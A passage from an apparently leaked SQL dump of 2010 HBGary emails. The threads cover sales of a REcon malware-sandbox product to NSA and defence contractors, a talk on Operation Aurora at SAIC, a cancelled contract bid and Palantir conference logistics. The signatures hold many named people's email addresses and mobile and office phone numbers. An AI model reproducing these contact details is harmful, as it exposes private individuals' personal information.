info.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Some\r\ncustomers may want a web interface.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI have no idea when this could fit into the development\r\nschedule or if you would require a customer to fund its development.&nbsp;\r\nPurpose of this email is to communicate what I&#8217;ve seen in selling\r\nsituations.&nbsp; The setup I describe would also help us compete more directly\r\nwith Norman and CWSandbox.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nChecked by AVG -&nbsp;www.avg.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVersion: 9.0.800 / Virus\r\nDatabase: 271.1.1/2785 - Release Date: 04/02/10 02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/03/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9229,'aaron_hbgary_com/9229.html'),(4891,'2010-04-05','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297003135.M77301P3547Q4890.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Michael Staggs\" <mj@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Shawn Bracken\" <shawn@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Software Exploitation with REcon, FINAL DRAFT for review','I love the level of detail the paper provides.  It actually answered some questions I had about the configuration options.I know what&#39;s coming though...more questions.  Most of our customers are going to be lost but that might be OK.  I say that b/c it gives sales a chance to interact with customers, produce follow-up papers, blog posts, dream up other use cases etc.\r\nI think you guys wrote this mostly for Microsoft.  Some new potential customers will likely come from this too.  Ultimately, I think the ball is now in the SE team&#39;s court to adapt this paper to our customers&#39; most common use case which is analyzing unknown binaries.  I envision taking this document format and analyzing the latest headline grabbing malware with REcon.\r\nOn Sat, Apr 3, 2010 at 2:21 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nTeam,\r\n \r\nAttached is the whitepaper final draft.  We are planning on putting this up on Monday.  Please take a final pass.\r\n \r\n-Greg\r\n-- Phil Wallisch | Sr. Security Engineer | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',12505,'aaron_hbgary_com/12505.html'),(4892,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003136.M19907P3547Q4892.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Customer demand for a standalone REcon product','Yep sounds good.\r\n\r\nAnd I can help sell both if needed, depending on if some customers want to have classified conversations or not, or provide any other services within a classified environment.  For example, if they need the integration to be done in a classified environment, HBGFed can help.  Let me know.  I will start writing some today.\r\n\r\nWhat do you think about the following drawing?  I think there is an architecture that can work for Government using a web portal as the front end to a larger environment.\r\n\r\nOff of the NSA portal on SIPR net would be the ability to query information (this could include Palantir stored scenarios) they could submit samples as well as request DDNA to be deployed to a particular box for analysis and then submission back into the TMC.\r\n\r\n\r\n\r\nOn Apr 5, 2010, at 9:35 AM, Bob Slapnik wrote:\r\n\r\n> Sounds good.  Looks like you will be using REcon as a framework technology to sell a bigger story that involves more consulting services.  Aside from what you are doing with the aforementioned NSA people I am working with the Blue Team because they want to buy a sandbox system.  I forwarded you the email I sent them.  We might want to coordinate our proposals, but I might choose to submit a separate proposal depending on timing of when you finish your paper.\r\n>  \r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, April 05, 2010 9:30 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: Customer demand for a standalone REcon product\r\n>  \r\n> Yes.  Instead of a proposal what I want to write is a Threat Intelligence or Threat monitoring whitepaper that talks about this as a starting point and has hooks into our partners.  I will use the template that Greg has used the last few times and will write it up and then submit it out for comments and adds.  Sound good?  In the back we can put the configuration for a working system.\r\n> Aaron\r\n>  \r\n> On Apr 5, 2010, at 9:27 AM, Bob Slapnik wrote:\r\n> \r\n> \r\n> Aaron,\r\n>  \r\n> Between these few emails do you have enough info to write a first draft of a proposal?  Please let me see it before you submit it.\r\n>  \r\n> Bob\r\n>  \r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, April 05, 2010 9:26 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: Customer demand for a standalone REcon product\r\n>  \r\n> That is great news.  I am heading up on the 19th (I think I mentioned this) to talk with a Jerry Bodman and Robert Nissen.  I am not sure what group they are with yet, but they want to talk about DDNA and Threat Intelligence.\r\n>  \r\n> BTW, I like greg\'s comments on the $500 dollar boxes :)\r\n>  \r\n> Aaron\r\n>  \r\n>  \r\n> On Apr 4, 2010, at 11:15 AM, Bob Slapnik wrote:\r\n> \r\n> \r\n> \r\n> Aaron,\r\n>  \r\n> See email chain for more info about the emerging standalone REcon product.  The NSA Blue Team (Responder customer) wants a demo in 3 weeks.  We can leverage that relationship into ANO and other NSA organizations.  Blue Team is actively looking for a sandbox solution and want a solution in place by July/August.  REcon as part of Responder demos well, but I want Sac to pull together a demo of the scalable, automated system.\r\n>  \r\n> Bob\r\n>  \r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Sunday, April 04, 2010 11:12 AM\r\n> To: \'Greg Hoglund\'\r\n> Cc: \'Penny Leavy-Hoglund\'; \'Rich Cummings\'; \'shawn@hbgary.com\'\r\n> Subject: RE: Customer demand for a standalone REcon product\r\n>  \r\n> Greg,\r\n>  \r\n> Thanks for the review of comparing REcon to the sandbox competition.  It is going to be fun selling against them.  Off the top of my head I see the following advantages:\r\n> ·         REcon provides lowest level data – all instructions, all data used or generated\r\n> ·         REcon can recover encrypted data in clear text\r\n> ·         REcon scales with no upward limit with a fully automated system. We can outfit whatever processing size the customer needs.\r\n> ·         We also offer a single user version with manual interface with Responder. (I like very much that REcon within Responder is one binary at a time and doesn’t scale.  It gives customers a taste for the bigger, more expensive, scalable, standalone REcon. I also like that the standalone REcon requires Responder to read the journal file output.)\r\n> ·         HBGary analysis combines static and dynamic analysis in one framework\r\n> ·         HBGary can do REcon and DDNA analysis within the same dynamic analysis run\r\n> ·         Competition has nothing like our r/e capabilities\r\n>  \r\n> Places where HBGary needs to “catch up” to competition (but will very soon)\r\n> ·         Web interface option\r\n> ·         Ability to demo fully automated version (today I’ve only seen the Responder UI version)\r\n> o   Do you have a Standalone REcon setup in Sacramento that we can demo via webex?\r\n>  \r\n> Just for clarification, is the ESX architecture a thing of the past?  Are we 100% using the Gateway machines?  In other words, am I to pitch only the Gateway machine approach and not the ESX server approach?\r\n>  \r\n> Bob\r\n>  \r\n> From: Greg Hoglund [mailto:greg@hbgary.com] \r\n> Sent: Saturday, April 03, 2010 2:39 PM\r\n> To: Bob Slapnik\r\n> Cc: Penny Leavy-Hoglund; Rich Cummings; shawn@hbgary.com\r\n> Subject: Re: Customer demand for a standalone REcon product\r\n>  \r\n>  \r\n>  \r\n> Bob,\r\n>  \r\n> You need to make it very clear to these customers that HBGary\'s solution will produce vast amounts of functional data that neither CW or Norman will be able to compete with.  If they need convincing of that, email them the REcon whitepaper.  Tell them we can collect down to the instruction, if they so desire.  If they don\'t think they need such low level data, tell them that we can recover clear-text from otherwise encrypted data because of our low level approach.  Also, make it clear we can integrate the data in any way to suit their statistical needs, custom to their integration needs.  We will deliver them the source code to our C# application that manages the feed farm and statistics, so there is nothing standing in the way between them and success.  They can chop it up and manage it any way they want. \r\n>  \r\n> Oh, and before you piss all over the fact we use $500 gateway machines, wake up to the fact that google runs on the same.  These so-called shitty $500 computers have more power than $5000 dollars would have bought you 3 years ago.  Also, because they are cheap, they scale on a budget.  If you start thinking about solutions-engineering with a real-world budget, you will realize there simply is no better choice than the way we are doing it now.  Any other choice would be throwing good money away and probably getting poorer performance and thru-put.  If you really think the customer won\'t buy because of the hardware, then triple the price for the same exact through-put and HBGary will unbolt the motherboards and drop them into 1-U rackspace boxes and spray paint them all bright red so it will show off better to whoever the customer is planning on walking through their data facility - since how it looks is obviously more important than actually analyzing malware.\r\n>  \r\n>  \r\n> -Greg\r\n> \r\n> \r\n>  \r\n> On Sat, Apr 3, 2010 at 9:18 AM, Bob Slapnik  wrote:\r\n> Norman and CWSandbox are being considered at Booz, NSA and NG.  Purchases haven’t been made yet so it biz we can win.\r\n>  \r\n>  \r\n> From: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\n> Sent: Friday, April 02, 2010 2:20 PM\r\n> To: \'Bob Slapnik\'; \'Greg Hoglund\'; \'Rich Cummings\'\r\n> Subject: RE: Customer demand for a standalone REcon product\r\n>  \r\n> Why aren’t they using Norman or CWSandbox?\r\n>  \r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Friday, April 02, 2010 7:06 AM\r\n> To: \'Greg Hoglund\'; \'Penny Leavy-Hoglund\'; \'Rich Cummings\'\r\n> Subject: Customer demand for a standalone REcon product\r\n>  \r\n> Greg, Penny and Rich,\r\n>  \r\n> I’ve run into multiple instances where customers/prospects want a standalone REcon product.  I see us going forward with a single user REcon as part of Responder and where you must have Responder to consume the REcon journal file.  But in addition, we need a standalone, SCALABLE REcon product.\r\n>  \r\n> Here are some features that Standalone REcon would need:\r\n> ·         Has its own licensing scheme\r\n> \r\n> o   Licensing has a way to that we can charge more depending on how many concurrent REcon instances they want to run\r\n> \r\n> o   Some customer want to process lots of malware so will need to run REcon in parallel or on fast gear\r\n> \r\n> ·         A command line interface so people can run it programmatically\r\n> \r\n> ·         Its output in an open (non-proprietary) format for easy integration into other technologies\r\n> \r\n> ·         Configured to run with or without memory analysis\r\n> \r\n> o   Some people want it for thorough malware analysis so combining runtime data with WPMA data would be great\r\n> \r\n> o   Some people want to run it as a network in-line device so for speed (minimizing the time) they will want to run the malware and just use the journal file info – not enough time to run WPMA.  It would be useful to have DDNA operate on the runtime journal file info.\r\n> \r\n> ·         Some customers may want a web interface.\r\n> \r\n>  \r\n> I have no idea when this could fit into the development schedule or if you would require a customer to fund its development.  Purpose of this email is to communicate what I’ve seen in selling situations.  The setup I describe would also help us compete more directly with Norman and CWSandbox.\r\n>  \r\n> Bob\r\n>  \r\n> No virus found in this incoming message.\r\n> \r\n> \r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/02/10 02:32:00\r\n>  \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/03/10 02:32:00\r\n> \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10 02:32:00\r\n> \r\n>  \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>  \r\n>  \r\n>  \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.800 / Virus Database: 271.1.1/2785 - Release Date: 04/05/10 02:32:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15543,'aaron_hbgary_com/15543.html'),(4893,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003136.M258941P3547Q4893.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Aurora Talk at SAIC','great. &nbsp;where could I find those?Did you guys hear on NANA yet?AaronOn Apr 2, 2010, at 4:50 PM, Sheldon, Scott W. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,&nbsp;I’ve posted the invitations on\r\nFacebook and LinkedIn.&nbsp;Scott&nbsp;\r\n\r\n&nbsp;Scott W. Sheldon, PMP | SAICVice\r\nPresident, Senior Account Executive | Intelligence, Security and Technology\r\nGroupmobile:\r\n410.382.0179 | email: scott.w.sheldon@saic.com &nbsp;Science\r\nApplications International Corporation6841\r\n  Benjamin Franklin DriveColumbia, MD\r\n 21046www.saic.com&nbsp;Energy&nbsp;\r\n|&nbsp; Environment&nbsp; |&nbsp; National Security &nbsp;|&nbsp; Health&nbsp; |&nbsp; Critical Infrastructure&nbsp;Please\r\nconsider the environment before printing this email.&nbsp;This e-mail and any attachments\r\nto it are intended only for the identified recipients. It may contain\r\nproprietary or otherwise legally protected information of SAIC. Any\r\nunauthorized use or disclosure of this communication is strictly prohibited. If\r\nyou have received this communication in error, please notify the sender and\r\ndelete or otherwise destroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 01, 2010\r\n10:21 PM\r\nTo: Sheldon,\r\n Scott W.\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\nSubject: Re: Aurora Talk at SAIC\r\n\r\n&nbsp;Let me know if you need something else.\r\n\r\n&nbsp;\r\n\r\nBIO\r\n\r\n\r\n\r\nAaron Barr is the CEO of HBGary\r\nFederal, a services company focused on delivering specialized malware analysis,\r\nincident response, and information operations capabilities to the IC, DoD, and\r\nFederal agencies.&nbsp; Previously, Aaron served as the Director of Technology\r\nfor the Cybersecurity and SIGINT Business Unit within Northrop Grummans\r\nIntelligence Systems Division, and as the Chief Engineer for Northrop\r\nGrummans\'s Cyber Campaign. As Technical Director, he was responsible for\r\ndeveloping technical strategies and roadmaps for a $750 million organization as\r\nwell as managing approximately $20 million in Research and Development\r\nprojects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the\r\nUnited States Navy as an enlisted cryptologist, senior signals analyst,\r\nsoftware programmer, and system administrator. Mr. Barr served tours in Misawa, Japan,\r\nNorfolk Virginia,\r\nPensacola Florida,\r\nand Rota Spain.\r\nWhile serving in Norfolk Virginia, he was accepted into the Enlisted\r\nEducation Advancement Program (EEAP) where he finished a Bachelors of Science\r\nin Biology, minoring in Chemistry, later completing a Masters in Computer\r\nScience with an emphasis in Computer Security. He has been a panelist and given\r\nspeeches on cybersecurity and emerging technologies at numerous Intelligence\r\nCommunity and DoD conferences and symposiums.AbstractPrior to Operation Aurora most people\r\nhad never heard of the term APT, now you can\'t get away from it.&nbsp;\r\nOperation Aurora\r\nwhile maybe not a bell-weather event, certainly raised the consciousness of\r\ncybersecurity and the threats that do exist.&nbsp; But awareness is not always\r\na good thing, as many still have a very superficial and naive perspective on\r\nwhat the advanced persistent threat is, what it is not, and what needs to be\r\ndone to combat it.&nbsp; This discussion will discuss the attributes of the Aurora event and the state of cybersecurity\r\ntoday within the Federal government.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Mar 30, 2010, at 9:36 AM, Sheldon, Scott\r\n W. wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nAwesome! I\'ll lock it in.\r\n\r\nPlease send me an abstract and short bio so I can get the invitations\r\nout.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 29, 2010 7:41 PM\r\nTo: Sheldon, Scott W.\r\nCc: bob@hbgary.com; Estell,\r\n Timothy W.\r\nSubject: Re: Aurora\r\nTalk at SAIC\r\n\r\nYep works for me.\r\n\r\nFrom my iPhone\r\n\r\nOn Mar 29, 2010, at 5:53 PM, \"Sheldon, Scott W.\"\r\n&lt;SCOTT.W.SHELDON@saic.com\r\n\r\nwrote:\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n27 April at 1600 works great.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIf you agree, I\'ll need a short bio and a short presentation\r\n\r\n\r\n\r\nabstract to\r\n\r\n\r\n\r\npost with the invitation for attendees.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nScott\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\n\r\n\r\nSent: Monday, March 29, 2010 5:44 PM\r\n\r\n\r\n\r\nTo: Sheldon, Scott W.\r\n\r\n\r\n\r\nCc: bob@hbgary.com; Estell, Timothy W.\r\n\r\n\r\n\r\nSubject: Re: Aurora\r\nTalk at SAIC\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHow about the 27th does that work?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Mar 26, 2010, at 5:03 PM, Sheldon, Scott\r\n W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI just spoke with our Conference\r\n Center coordinator and\r\nmeeting space\r\n\r\n\r\n\r\n\r\n\r\nis\r\n\r\n\r\n\r\n\r\n\r\nan issue at 1600 on 20 Apr.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can easily do 1600 on 27 Apr if that works for you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They need\r\n\r\n\r\n\r\n\r\n\r\nthe\r\n\r\n\r\n\r\n\r\n\r\nextra 30 minutes to reconfigure the room from a previously scheduled\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmeeting.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlong with your bio, I\'ll also need a paragraph or two abstract of\r\n\r\n\r\n\r\n\r\n\r\nyour\r\n\r\n\r\n\r\n\r\n\r\npresentation to post as part of the announcement.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nScott\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Estell, Timothy W.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent: Friday, March 26, 2010 4:56 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo: aaron@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc: bob@hbgary.com; Sheldon, Scott W.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Aurora\r\nTalk at SAIC\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks like Dino or EndGames got cold feet. They say they have too\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmuch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ngoing on to commit Dino to this event.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSo the stage is yours and you can keep us captivated with the HBGary\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nresearch into Aurora.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWe\'ll plan on Tuesday, April 20th at 4 PM.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan you provide a one paragraph bio to include in the meeting\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nannouncement?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTim Estell -- estellt@saic.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n443-367-7558 (Office) 443-562-2039 (Cell)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11525,'aaron_hbgary_com/11525.html'),(4894,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003136.M500015P3547Q4894.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,','Re: COIN compete cancelled','I agree.  It also works in the favor of the incumbent as I know they are working hard to get things in order and reposition themselves as the team of choice.  Is there anything we can do with your current customers in that space to build some capability?  Is there any interest?  In past years there was always a lot of contention on where this work was actually performed, most organizations not wanting to acquiesce the capability to a sister organization.  Does that still exist?  Do organizations want to develop this capability themselves or has my old organization successfully claimed the crown?\r\n\r\nAaron\r\n\r\nOn Apr 2, 2010, at 10:48 AM, Lovegrove, John (TASC) wrote:\r\n\r\n> I just spoke to the contracting officer and COIN was cancelled.  He said\r\n> they were competing it as an IDIQ and there was initially excitement\r\n> amongst the government customers, but there was only one hard set of\r\n> requirements in the end (the current customer).  So they are cancelling\r\n> the IDIQ procurement, extending the current contract for six months, and\r\n> will compete the contract in the fall.\r\n> \r\n> I think this actually works in our favor since it gives us more time to\r\n> form up the team and work to get more G2.  Other thoughts?\r\n> \r\n> John Lovegrove\r\n> Director\r\n> Office: (703) 449-3812\r\n> Cell: (571) 294-5154\r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4352,'aaron_hbgary_com/4352.html'),(4895,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003136.M672554P3547Q4895.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>,\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Fwd: Palantir GovCon','Are the \"pop-ups\" with the Booth? &nbsp;Any requirements on the monitor. &nbsp;I need to go pick one up.AaronBegin forwarded message:From: \"Bob Slapnik\" &lt;bob@hbgary.com&gt;Date: April 2, 2010 9:49:11 AM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: Palantir GovConAaron,FYI,The booth takes 2 hours to set up so if you use it you have to plan forthis.I recommend not using the booth. Instead, you can just have the HBGary tablecloth and 2 pop-up displays. &nbsp;It will cut you set up time to 10 minutes.And it will be fine. &nbsp;I don\'t know where the pop-ups are. &nbsp;They might be inthe booth boxes.Bob -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, April 01, 2010 10:30 PMTo: Bob SlapnikSubject: Palantir GovConBob,Just to put it down on paper.The event is on the 7th. &nbsp;The booth is going to be delivered to theRitz-Carlton for the event. &nbsp;Penny thought it was a good idea that we werethere. &nbsp;It would be great if Rich or Phil could participate part of the day.I plan on being there the whole day but have never sat the HBGary boothbefore so would be nice to go through it with someone.Aaron BarrCEOHBGary Federal Inc.No virus found in this incoming message.Checked by AVG - www.avg.com Version: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/1002:35:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5643,'aaron_hbgary_com/5643.html'),(4896,'2010-04-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003136.M857880P3547Q4896.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Message to all Palantir Conference Partners - CORRECTION','bob,Do we have any confirmed support from Rich. &nbsp;I haven\'t heard from him. &nbsp;Are you going to be there?AaronOn Apr 2, 2010, at 9:47 AM, Bob Slapnik wrote:Rich and Phil,&nbsp;The date is April 7 (not the 6th).&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Friday, April 02, 2010 9:44 AMTo:&nbsp;\'Aaron Barr\'; \'Phil Wallisch\'; \'Rich Cummings\'Subject:&nbsp;RE: Message to all Palantir Conference Partners&nbsp;Phil and Rich,&nbsp;Aaron has a booth on April 6 at a conference help by Palantir in Tysons.&nbsp; He requests that one of you help by manning the booth.&nbsp; Maybe we can “tag team”.&nbsp; Phil and I have a demo via webex at 2pm that day.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 01, 2010 10:30 PMTo:&nbsp;Bob SlapnikSubject:&nbsp;Fwd: Message to all Palantir Conference Partners&nbsp;&nbsp;&nbsp;Begin forwarded message:&nbsp;From:&nbsp;Timothy Ronan &lt;tronan@palantirtech.com&gt;Date:&nbsp;April 1, 2010 4:32:31 PM EDTTo:&nbsp;Undisclosed recipients:;Subject: Message to all Palantir Conference Partners&nbsp;Please make sure that your staff who will be attending the conference next week on 7 April have registered at the following site:&nbsp;http://palantirtech.eventbrite.com/&nbsp;Everyone should have received a Partner Booth Guide with setup details several weeks ago, but I have attached it again for reference.&nbsp; Please take the time to read through this as there are highly important details included.&nbsp;I have also attached the conference agenda for your reference.&nbsp;Don’t hesitate to contact me with any questions.&nbsp; Looking forward to your participation in the conference next week.&nbsp;Best,Tim&nbsp;_________________________________________________________Tim RonanPalantir Technologies | Forward Deployed Engineertronan@palantirtech.com&nbsp;| 571.225.6179_________________________________________________________&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.791 / Virus Database: 271.1.1/2783 - Release Date: 04/01/10 02:35:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',22,'aaron_hbgary_com/22.html'),(4897,'2010-04-05','\"Eventbrite\" 